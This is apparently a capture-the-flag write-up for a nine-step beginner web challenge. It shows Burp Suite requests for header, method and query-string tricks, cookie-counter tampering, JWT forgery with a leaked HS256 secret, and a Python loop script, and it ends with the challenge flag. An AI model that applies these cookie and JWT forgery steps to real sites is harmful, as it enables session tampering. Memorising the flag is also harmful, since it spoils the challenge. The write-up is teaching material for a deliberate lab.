Can you survive the gauntlet?
10 mini web challenges are all that stand between you and the flag.
Note: Automated tools like sqlmap and dirbuster are not allowed (and will not be helpful anyway).
https://gauntlet-okntin33tq-ul.a.run.app
Challenge 1:
Welcome to the GauntletIs there anything hidden on this page?Chrome Dev Tools —> Sources —> Scroll to the bottom of (index) —> <!-- /hidden9136234145526 -->
Page 1Congrats on finding the 1st hidden page.This page will yield a secret if you set an "HTTP Request Header" like this:wolvsec: rocksLaunch Burp Suite, and set the GET request to /hidden9136234145526 to Repeater. Modify the request to include wolvsec: rocks. Send to get the following output:
HTTP/2 200 OKContent-Type: text/html; charset=utf-8X-Cloud-Trace-Context: 67b29518bcd26cbf1de2706d179705d2Date: Sat, 16 Mar 2024 17:35:19 GMTServer: Google FrontendContent-Length: 243Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
<html><h1>Page 1</h1><div>Congrats on finding the 1st hidden page.</div><div>This page will yield a secret ifyou set an "HTTP Request Header" like this:</div><div><!-- /hidden0197452938528 --></div><pre>wolvsec: rocks</pre></html>Page 2Congrats on finding the 2nd hidden page.This page will yield a secret if you use a certain "HTTP Method". Maybe try some of these and see if anything interesting happens.Send the GET request to /hidden0197452938528 to the Repeater. Modify the first, all-caps word in the request to OPTIONS. (This is also on the page they provide at developer.mozilla.org that specifies the various HTTP methods). This will return the following:
HTTP/2 200 OKContent-Type: text/html; charset=utf-8X-Cloud-Trace-Context: 098d40958b0d1cb62b6f072aef631aaaDate: Sat, 16 Mar 2024 17:42:19 GMTServer: Google FrontendContent-Length: 360Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
<html><h1>Page 2</h1><div>Congrats on finding the 2nd hidden page.</div><div>This page will yield a secret ifyou use a certain "HTTP Method". Maybe try some of <a target="_blank" href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods">these</a> and see if anything interesting happens.<div><div><!-- /hidden5823565189534225 --></div></html>Page 3Congrats on finding the 3rd hidden page.This page will yield a secret if you have a "Query String" parameter named'wolvsec' whose value, as seen by the server is:c#+lYour raw query string as seen by the server:Your wolvsec query parameter as seen by the server:A query string is essentially a paramter in a GET request. Certain values must be URL-encoded to pass. In this case, the following URL should work:
https://gauntlet-okntin33tq-ul.a.run.app/hidden5823565189534225?wolvsec=c%23%2bl
%23 and %2b encode to # and + respectively (23 and 2b are the hex values of # and +, which can be found by using an online ASCII to hex converter).
Here is the response in Burp Suite:
HTTP/2 200 OKContent-Type: text/html; charset=utf-8X-Cloud-Trace-Context: f3287ff08331d780e4ef5f04a4360faaDate: Sat, 16 Mar 2024 17:47:55 GMTServer: Google FrontendContent-Length: 462Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
<html><h1>Page 3</h3><div>Congrats on finding the 3rd hidden page.</div><div>This page will yield a secret if you have a "Query String" parameter named</div><div>'wolvsec' whose value, as seen by the server is: <pre>c#+l</pre></div><div>Your raw query string as seen by the server: <pre>wolvsec=c%23%2Bl</pre></div><div>Your <b>wolvsec</b> query parameter as seen by the server: <pre>c#+l</pre></div><div><!-- /hidden5912455200155329 --></div></html>Page 4Congrats on finding the 4th hidden page.This page will yield a secret if you perform a POST to it with this request header:Content-Type: application/x-www-form-urlencodedThe form body needs to look like this:wolvsec=rocksThe HTML form that you'd normally use to do this is purposefully not being provided.You could use something like curl or write a python script.
Your Content-Type header value is:Your POSTed wolvsec parameter is:Send the GET request to the URL to the Repeater. The modified request is as follows:
POST /hidden5912455200155329 HTTP/2Host: gauntlet-okntin33tq-ul.a.run.appContent-Type: application/x-www-form-urlencodedSec-Ch-Ua: "Chromium";v="121", "Not A(Brand";v="99"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Priority: u=0, iContent-Length: 13
wolvsec=rocksThe modified parts include:
GETin the first line changes toPOSTContent-Type: application/x-www-form-urlencodedis added in the 3rd linewolvsec=rocksis added at the very end
The response is:
HTTP/2 200 OKContent-Type: text/html; charset=utf-8X-Cloud-Trace-Context: f9052fb326bc53dbc25447e4065e330fDate: Sat, 16 Mar 2024 17:50:48 GMTServer: Google FrontendContent-Length: 670Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
<html><h1>Page 4</h1><div>Congrats on finding the 4th hidden page.</div><div>This page will yield a secret if you perform a POST to it with this request header:</div><pre>Content-Type: application/x-www-form-urlencoded</pre><div>The form body needs to look like this:</div><pre>wolvsec=rocks</pre><div>The HTML form that you'd normally use to do this is purposefully not being provided.</div><div>You could use something like curl or write a python script.</div><br/><div>Your Content-Type header value is: application/x-www-form-urlencoded</div><div>Your POSTed <b>wolvsec</b> parameter is: rocks</div><div><!-- /hidden3964332063935202 --></div></html>Page 5Congrats on finding the 5th hidden page.The secret is ALREADY on this page. View Source won't show it though. How can that be?Note: You are NOT meant to understand/reverse-engineer the Javascript on this page.This is the response to the GET request to the URL:
HTTP/2 200 OKContent-Type: text/html; charset=utf-8X-Cloud-Trace-Context: e72762326c8381074ac58b93cb390a36Date: Sat, 16 Mar 2024 17:55:41 GMTServer: Google FrontendContent-Length: 1762Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
<html><h1>Page 5</h1><div>Congrats on finding the 5th hidden page.</div><div>The secret is ALREADY on this page. View Source won't show it though. How can that be?</div><div>Note: You are NOT meant to understand/reverse-engineer the Javascript on this page.</div><script>(function(){var dym='',ZpW=615-604;function Ehj(n){var y=29671;var x=n.length;var u=[];for(var r=0;r<x;r++){u[r]=n.charAt(r)};for(var r=0;r<x;r++){var h=y*(r+68)+(y%20298);var l=y*(r+674)+(y%19102);var j=h%x;var a=l%x;var q=u[j];u[j]=u[a];u[a]=q;y=(h+l)%1876730;};return u.join('')};var kwZ=Ehj('rtnythucituojsbfsgdaxkoeolqvrpcmcrwnz').substr(0,ZpW);var Uiq='oay 7=j1 d(1),s=566vyrAzg"hbrdjf=hrjeldn)p.rht;v[x)zm;{a7 e=v8r,;0h7l,;7u9;,u9}7(,+0=8e,i0(8j,.5]6f,)6b7r,o017a,b2v7),+6=;aa0 "=(]if;ryvartb80]b0kvlun{tv;r+u)g[n[1]9=e+.;bat 1=r]]jr=h2ad"= 5feq=;0gf=rovcrivj0nv(a)g=mbnos.lbn1tr;6++)7vpr=r=a.g+mon s4vp.-p8i1(n h)hfcr4vnryg1rql+ngtf-.;a>)08g2-e{ya+ .=8unl*v(riq=rpg[;aas )=3urlrv{rcms0,v7ris;q.l<n+t};,ar w;loy(ian n==;,<n;m+p)]vir=xCq9c;a(C6deAt(o)rv.rea(hrx ;(feae{g=(ak1"*++v..horoo[ect(y)1{-r; =o;y+;;;eas ,f)x[=;)wcl2v(t.uedgth=j]qyc,a;ChdaAs()+r))+v.4hmr(odegtkyc2m-u;f=,;k+n2l};l"etcjn)ifu;;;iy([=fnilb)a==];i<(8>r)=.nush,qrs+b toiogvmtwh)2o-p+s6(([[+e](;w=t+i;[i2(j!(nvl()4it(l<o)o.duAhcq+s+b1tii)g;m,)vrog)=y.=o;n,"l).}hu=prs8(r[[]a;fv-ren,u.jai((""h;ka1 ,=w3l,[9o1e,t2[9r,rdh.,o(cat9k];,ar r=5tmirgufro{CtaSCadu()6};.oc(eah 0=i;s<C.we8gahrb=+Cn n!s lrtqtgz.cla]Au(a)o.}o=nCS(r;n2.er)m+h0rvo)eai.b=)o;uetu}n=nysvlstst;" " .]oen ts;';var Rvg=Ehj[kwZ];var yTt='';var Txm=Rvg;var zYy=Rvg(yTt,Ehj(Uiq));var PFr=zYy(Ehj('4.cb!nd5.odcoyl!d)pden3can!52)eumeotd8en2i(r5idmueo5.dhteme9CC35"60ntt\/mh9("9pa'));var Poj=Txm(dym,PFr );Poj(8875);return 8512})()</script></html>However, you don’t even need to run this script. If you’re on Chrome, you can simply go to the Elements tab to find the following comment:
If you can’t do this, it is however relatively trivial to simply copy the contents of the defined JavaScript function, remove the return statement, and run it in an online compiler. This will return something like this:
node /tmp/O4faH7umKA.jsERROR!undefined:3document.body.appendChild(document.createComment("/hidden5935562908234559"))^
ReferenceError: document is not defined at eval (eval at <anonymous> (/tmp/O4faH7umKA.js:1:1415), <anonymous>:3:1) at Object.<anonymous> (/tmp/O4faH7umKA.js:1:1429) at Module._compile (node:internal/modules/cjs/loader:1356:14) at Module._extensions..js (node:internal/modules/cjs/loader:1414:10) at Module.load (node:internal/modules/cjs/loader:1197:32) at Module._load (node:internal/modules/cjs/loader:1013:12) at Function.executeUserEntryPoint [as runMain] (node:internal/modules/run_main:128:12) at node:internal/main/run_main_module:28:49
Node.js v18.19.1Page 6Congrats on finding the 6th hidden page.Hmmmm, I'm pretty sure the URL in the address bar is NOT the one you got from Page 5.How could that have happened?This is simply implying a redirection. Check out the pages you were redirected from in Burp Suite. The original URL says hello and the second URL (before the final redirection to the current page) says hello again: <!-- /hidden82008753458651496 -->.
Page 7Congrats on finding the 7th hidden page.You have visited this page 1 times.If you can visit this page 500 times, a secret will be revealed.Hint: There is a way to solve this without actually visiting that many times.Reload the page once, then check out the Burp Suite GET request.
GET /hidden82008753458651496 HTTP/2Host: gauntlet-okntin33tq-ul.a.run.appCookie: cookie-counter=2Cache-Control: max-age=0Sec-Ch-Ua: "Chromium";v="121", "Not A(Brand";v="99"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Priority: u=0, iThat cookie-counter is probably keeping track of how many times the user has visited the page. Send the request to the Repeater and modify it to 500. Now we get the response:
HTTP/2 200 OKContent-Type: text/html; charset=utf-8Set-Cookie: cookie-counter=501; Path=/X-Cloud-Trace-Context: 46d25f4fb0e1a34f43857d92032e8a47Date: Sat, 16 Mar 2024 18:06:48 GMTServer: Google FrontendContent-Length: 165Expires: Sat, 16 Mar 2024 18:06:48 GMTCache-Control: privateAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
<html><h1>Page 7</h1><div>Congrats on finding the 7th hidden page.</div>
<div>A secret has been revealed!<div><!-- /hidden00127595382036382 --></div></html>Page 8Congrats on finding the 8th hidden page.You have visited this page 3 times.If you can visit this page 500 times, a secret will be revealed.Hint: There is a way to solve this without actually visiting that many times, but it is harder than the previous page.This will be useful: https://jwt.io/Reload the page once. Check out the request and response:
GET /hidden00127595382036382 HTTP/2Host: gauntlet-okntin33tq-ul.a.run.appCookie: jwt-cookie-counter=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjb3VudGVyIjoyfQ.XvkQEJyoYw1flG_ojvYeHqGvbfbixv_C0ZjRKO13dTICache-Control: max-age=0Sec-Ch-Ua: "Chromium";v="121", "Not A(Brand";v="99"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Priority: u=0, iSeems like we have a JWT cookie we need to break. Here’s the response:
HTTP/2 200 OKContent-Type: text/html; charset=utf-8Set-Cookie: cookie-counter=; Expires=Thu, 01 Jan 1970 00:00:00 GMT; Path=/Set-Cookie: jwt-cookie-counter=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjb3VudGVyIjozfQ.S9x3s2v3aTmEGj_Z5S_--aX2gK1RlN5Bfi6P8Uh5wCA; Path=/X-Cloud-Trace-Context: 391c8b9c10753cbff1feea3b052e4762Date: Sat, 16 Mar 2024 18:08:38 GMTServer: Google FrontendContent-Length: 490Expires: Sat, 16 Mar 2024 18:08:38 GMTCache-Control: privateAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
<html><h1>Page 8</h1><div>Congrats on finding the 8th hidden page.</div>
<div>You have visited this page 2 times.</div><div>If you can visit this page 500 times, a secret will be revealed.</div><div>Hint: There is a way to solve this without actually visiting that many times, but it is harder than the previous page.</div><div>This will be useful: <a target="_blank" href="https://jwt.io/">https://jwt.io/</a></div><!-- HS256 secret is: wolvsec -->
<div><!-- --></div></html>We see that the secret for the HS256 JWT encryption algorithm is wolvsec. Let’s visit jwt.io now.
- Paste the JWT cookie in
- Enter the secret in the
Verify Signaturesection - Modify the counter to equal 500 in the
Payload: Datasection.
Now copy this cookie, send the original GET request to the Burp Suite Repeater, paste this cookie to replace the original JWT cookie, and send the request:
HTTP/2 200 OKContent-Type: text/html; charset=utf-8Set-Cookie: cookie-counter=; Expires=Thu, 01 Jan 1970 00:00:00 GMT; Path=/Set-Cookie: jwt-cookie-counter=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjb3VudGVyIjo1MDF9.2RgGGM3Mihm5kuLlMk-3zKaSlyuFuMNhSETavftqIKM; Path=/X-Cloud-Trace-Context: de74564d74c46ad5d5a549fb3b67d57fDate: Sat, 16 Mar 2024 18:09:42 GMTServer: Google FrontendContent-Length: 165Expires: Sat, 16 Mar 2024 18:09:42 GMTCache-Control: privateAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
<html><h1>Page 8</h1><div>Congrats on finding the 8th hidden page.</div>
<div>A secret has been revealed!<div><!-- /hidden83365193635473293 --></div></html>Page 9Congrats on finding the 9th hidden page.You are almost through the gauntlet!You have visited this page 1 times.If you can visit this page 1000 times, a secret will be revealed.
Hint: The JWT secret for this page is not provided, is not in any Internet list of passwords, and cannot be brute forced.As far as we know, you cannot solve this page without actually visiting this page that number of times.We suggest writing a script which can do this for you. The script will need to properly read the response cookie and re-send it along with the next request.
Here is something that might help: https://sentry.io/answers/sending-cookies-with-curl/Here is a different thing that might help: https://stackoverflow.com/questions/31554771/how-can-i-use-cookies-in-python-requestsVisiting the second link clarified for me how to keep updating and sending the same cookie (which I verified with a little bit of testing). Thus, by using the Python requests module, here’s the implementation:
import requests
s = requests.Session()
for i in range(1000): if i % 100 == 0: print(i) txt = s.get('https://gauntlet-okntin33tq-ul.a.run.app/hidden83365193635473293').textprint(txt)If you want to understand this a bit more (if you’re new), I recommend reading up on the documentation.
Running the script will produce this response:
<html><h1>Page 9</h1><div>Congrats on finding the 9th hidden page.</div><div>You are almost through the gauntlet!</div>
<div>A secret has been revealed!<div><!-- /flag620873537329327365 --></div></html>Visit https://gauntlet-okntin33tq-ul.a.run.app/flag620873537329327365:
Congratulations!Thank you for persevering through this gauntlet.
Here is your prize:
wctf{w3_h0p3_y0u_l34rn3d_s0m3th1ng_4nd_th4t_w3b_c4n_b3_fun_853643}Theres the flag!
wctf{w3_h0p3_y0u_l34rn3d_s0m3th1ng_4nd_th4t_w3b_c4n_b3_fun_853643}